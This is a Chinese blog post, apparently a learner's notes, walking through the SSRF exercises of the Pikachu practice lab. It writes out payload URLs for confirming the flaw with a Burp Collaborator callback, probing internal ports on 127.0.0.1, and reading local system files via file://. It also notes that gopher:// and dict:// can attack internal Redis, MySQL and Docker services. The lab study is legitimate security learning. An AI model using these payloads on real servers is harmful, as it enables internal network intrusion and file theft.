学习SSRF
SSRF(服务端请求伪造)
服务器提供了从远程拉取资源的功能(比如图片预览、URL转码、爬虫、获取网页摘要等),但又没有对目标地址做严格过滤与限制
攻击者传入恶意URL,让服务器去访问这个地址(很多内网服务默认信任本机访问)
服务器作为请求发起者,可以访问服务器所在内网
总结:骗服务器干活,拿服务器当跳板扫内网。
SSRF(curl)
只有一个可以点击的链接,没有任何输入框或选择
看一下提示
提示要我了解一下curl相关函数用法。
·PHP中curl是用来在服务端发起HTTP请求的扩展
·curl支持多种协议,包括http/https、gopher、dict、file、ftp
gopher协议在其中威胁最大(能发送任意TCP数据),俗称“万能协议”。
学习地址:https://zhuanlan.zhihu.com/p/2046951452132881344?utm_medium=openapi_platform&utm_source=e10c3ad29e50

接下来开始读诗http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

判断SSRF存在
用burp的Collaborator模块获取一个域名:kk8wap9xz661r8u37fhaicecu30uomcb.oastify.com

尝试让这个ssrf网站访问域名
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=kk8wap9xz661r8u37fhaicecu30uomcb.oastify.com

访问成功,按Poll now按键后,获取到访问请求。证明这里存在SSRF漏洞

访问回环地址网页
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1

端口探测
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
显示了我的MySQL的版本信息和乱码。内网端口探测成功。

读取文件
试试file协议
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///C:/Windows/win.ini
显示了我的win.ini文件内容。读取服务器本地文件。

SSRF(file_get_content)
提示要我了解一下file_get_content()相关函数用法。
·file_get_content要代码中写了“allow_url_fopen = On”才能访问网络URL
·file_get_content支持的协议比较少了,包括http/https、file、ftp
依旧是叫我读诗


注意到此时URL结构:
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info2.php
可以在file=…这里做文章
访问回环地址网页
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1

端口探测
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:3306

探测失败
了解后才明白,因为3306端口MySQL不认识HTTP请求,所以页面会空白
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:8080
探测8080端口时就回显了,我的8080端口刚好是BurpSuite在占用

读取文件
由于file_get_contents支持file://协议,尝试读取文件
http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=file:///C:/Windows/win.ini

gopher:// 协议打内网
对比
·http:只能发 HTTP 请求
·gopher:他的本质是隧道,能发送任意 TCP 报文,所以Redis、FastCGI(快速通用网关接口,默认配置在9000端口)、Mysql(3306)、Memcached(缓存系统,11211端口)、Zabbix Agent(监控平台,10050端口)、Docker API(Docker Daemon监听在2375端口),都可以打
dict://
dict协议只能发文本命令,并且会自动补充\\r\\n,可以打redis、简单TCP服务探测内网
网硕互联帮助中心



![C++入门篇(十):string(上)——认识string:构造与三大遍历(一条龙讲透operator[]、迭代器、auto、范围for)-网硕互联帮助中心](https://www.wsisp.com/helps/wp-content/uploads/2026/10/20261001032318-6abdd226d398f.png)


评论前必须登录!
注册